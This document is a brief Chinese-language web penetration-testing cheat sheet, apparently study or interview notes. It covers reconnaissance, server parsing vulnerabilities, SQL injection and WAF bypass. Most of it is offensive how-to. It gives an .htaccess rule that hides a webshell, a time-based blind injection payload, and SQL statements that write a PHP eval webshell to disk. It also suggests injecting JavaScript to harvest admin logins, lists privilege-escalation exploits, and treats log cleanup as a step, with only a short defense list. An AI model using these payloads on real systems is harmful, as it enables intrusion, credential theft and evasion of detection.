渗透知识点
1.信息收集
whois,网站IP,旁站,C段,服务器版本,容器版本,服务版本,数据库类型,二级域名,防火墙,
2.Mysql的网站注入,5.0以上和5.0以下有什么区别?
5.0以下没有information_schema这个系统表,无法列举表明,只能暴力跑表名,是单用户操作,5.0以上是多用户
3判断CMS的意义
可以去找对应的源码进行审计,可以去漏洞库找对应曝光的漏洞。
4扫目录的意义
敏感文件,二级目录扫描(网站备份的源码,说明.tx,二级目录可能存在其他网站
5常见的网站服务容器
IIS、Apache、nginx、Lighttpd、Tomcat
6.解析漏洞
1.IIS6.0
/xx.asp/xx.jpg "xx.asp" 是文件夹名
2 IIS7.0/7.5
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
3 Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。 空字节代码 xxx.jpg.php
4Apache
上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀
7RDP无法链接 排错
没有开放3389(扫端口)
端口被修改(有webshel情况下:ltasklist /svc | findstr "TermService" 查到TermService的进程ID,之后执行"netstat -ano" 找进程号ID相同的对应的端口)
防护拦截(尝试免杀远控提权)
内网环境(端口转发:LCX REGEORG NC 等 )
宽字节注入 Hex码绕过
9webshell.htaccess文件我们可以做什么
隐藏马
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMatch>
这时候.jpg会被解析成.php
10注入可以干嘛
查看数据库存的管理员密码 登陆后台 看后台是否可以利用(文件上传等)
如果是DBA权限 可以直接利用slqmap写文件
获取数据库Root密码(如果是),可以尝试Phpmyadmin获取webshell
11.上传大马乱码
浏览器编码问题
12在有shell的情况下,如何使用xss实现对目标站的长久控制?
加一段记录登录账号密码的js记录到一个TXT中(记得判断对错)
13逻辑漏洞
密码找回
验证码漏洞
顶单漏洞
身份认证漏洞等
14一个网站,怎么办
信息 收集(whois‘ CMS 服务器 系统 数据库 子域名 目录 端口 编辑器)【接着去寻找对应版本的漏洞】
漏洞检测(XSS CSRF SQL注入 代码执行 越权 文件包含 等)
漏洞利用(利用上述方式获取webshell)
提权
Windwos UDF 提权 SERv-u提权 II6巴西烤肉 CVE-2018-8120等
LINUX 藏牛(记得备份passwd) 内核提权 等
日志清理
漏洞报告和修复
sql报错注入函数
extractvalue updatexml geometrycollection() multipoint .polygon multilinestring exp linestring
延时注入
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
sql写文件
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';
SQL注入防御
1、使用安全的API 2、对输入的特殊字符进行Escape转义处理 3、使用白名单来规范化输入验证方法 4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符 5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
代码执行,文件读取,命令执行的函数
1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function 2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(),
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
Waf绕过
SQL注入
1、关键字可以用%(只限IIS系列)。
2、通杀的,内联注释。
3、编码。
4.复制阐述
文件上传
1.复制文件包一份再加一份 2.在 form-data;后面增加一定的字符